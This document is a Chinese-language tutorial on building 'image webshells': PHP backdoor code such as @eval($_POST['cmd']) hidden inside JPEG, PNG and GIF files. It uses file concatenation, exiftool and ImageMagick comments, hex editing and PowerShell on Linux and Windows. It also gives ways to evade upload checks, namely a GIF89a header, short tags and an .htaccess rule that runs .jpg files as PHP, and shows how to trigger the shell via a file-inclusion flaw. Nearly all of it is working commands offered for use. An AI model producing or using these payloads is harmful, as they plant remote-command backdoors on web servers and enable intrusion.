Linux 下制作图片马

方法1:cat 命令直接拼接(最简单,通用)

# 准备一个包含PHP代码的文本文件 shell.php
echo '<?php @eval($_POST["cmd"]);?>' > shell.php

# 准备一张正常图片 image.jpg
# 拼接:图片在前,代码在后
cat image.jpg shell.php > shell_image.jpg

# 验证:仍可正常显示图片,但文件末尾包含PHP代码

适用格式:JPEG、PNG、GIF(绝大多数图片格式都支持末尾追加数据)。

优点:简单快速。

缺点:某些严格的应用会检查文件尾部是否为合法图片数据,可能被检测。

方法2:exiftool 嵌入EXIF注释(JPEG专用)

# 安装 exiftool(如果未安装)
sudo apt install exiftool   # Debian/Ubuntu
sudo yum install perl-Image-ExifTool  # CentOS/RHEL

# 将PHP代码写入JPEG的Comment标签
exiftool -Comment='<?php @eval($_POST["cmd"]);?>' image.jpg -o shell_image.jpg

# 查看是否写入成功
exiftool shell_image.jpg | grep Comment

优点:不破坏图片原始数据,隐蔽性较好。

缺点:仅JPEG支持EXIF,PNG/GIF需要用其他方法。

方法3:使用 convert 配合文本块(ImageMagick,PNG专用)

# 创建包含恶意代码的文本文件
echo '<?php @eval($_POST["cmd"]);?>' > payload.txt

# 使用ImageMagick将文本块嵌入PNG的tEXt块
convert image.png -comment "@payload.txt" shell_image.png

注意:-comment 在PNG中会存储为tEXt块,可通过 identify -verbose shell_image.png 查看。

方法4:十六进制编辑器手动插入(高级)

# 使用 hexedit 或 xxd
xxd image.jpg > image.hex

# 在适当位置(如FF D9之前)插入PHP代码的十六进制,然后转回
xxd -r image.hex > shell_image.jpg

不推荐初学者,除非需要精细控制插入位置。

方法5:GIF 注释块注入

# 使用 gifsicle 工具
echo '<?php @eval($_POST["cmd"]);?>' > payload.txt
gifsicle --comment "$(cat payload.txt)" image.gif > shell_image.gif

Windows 下制作图片马

方法1:copy 命令拼接(最经典)

# 创建包含PHP代码的文件 shell.php
echo ^<?php @eval($_POST["cmd"]);?^> > shell.php

# 拼接:/b 表示二进制模式
copy /b image.jpg + shell.php shell_image.jpg
参数说明:

/b:以二进制方式复制,确保不转换换行符。

文件顺序:图片在前,代码在后。

验证:双击 shell_image.jpg 应能正常打开图片。

方法2:使用 certutil 的 base64 编码嵌入

# 将PHP代码转为base64
echo ^<?php @eval($_POST["cmd"]);?^> > payload.txt
certutil -encode payload.txt encoded.txt

# 将base64字符串追加到图片末尾
type image.jpg > shell_image.jpg
type encoded.txt >> shell_image.jpg

缺点:复杂,不常用。

方法3:PowerShell 追加文本

# 在图片末尾追加PHP代码
$phpCode = '<?php @eval($_POST["cmd"]);?>'
[IO.File]::WriteAllBytes('shell_image.jpg', [IO.File]::ReadAllBytes('image.jpg') + [Text.Encoding]::ASCII.GetBytes($phpCode))

方法4:使用 exiftool(Windows版)

# 下载 exiftool Windows 可执行文件
exiftool.exe -Comment='<?php @eval($_POST["cmd"]);?>' image.jpg -o shell_image.jpg

图片马绕过内容检测

利用 php 短标签

<?= system($_GET['cmd']); ?>

短标签更短,可减少干扰。

使用 GIF89a 头欺骗

GIF89a
<?php @eval($_POST["cmd"]);?>

将文件保存为 shell.gif,某些系统会误认为是合法GIF。

制作命令:

echo 'GIF89a<?php @eval($_POST["cmd"]);?>' > shell.gif

双重图片马(配合.htaccess)

# 制作一个同时是合法PHP文件的图片马
# 方法:将PHP代码放在图片的注释中,然后通过.htaccess强制解析
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# 然后上传带PHP代码的jpg

验证图片马是否可用

本地搭建PHP环境(如XAMPP、php -S)。

创建 test.php 内容:

<?php include('shell_image.jpg'); ?>

访问 test.php,如果能执行代码(如使用蚁剑连接或看到 phpinfo() 输出),则成功。

或者直接通过文件包含漏洞测试:?page=shell_image.jpg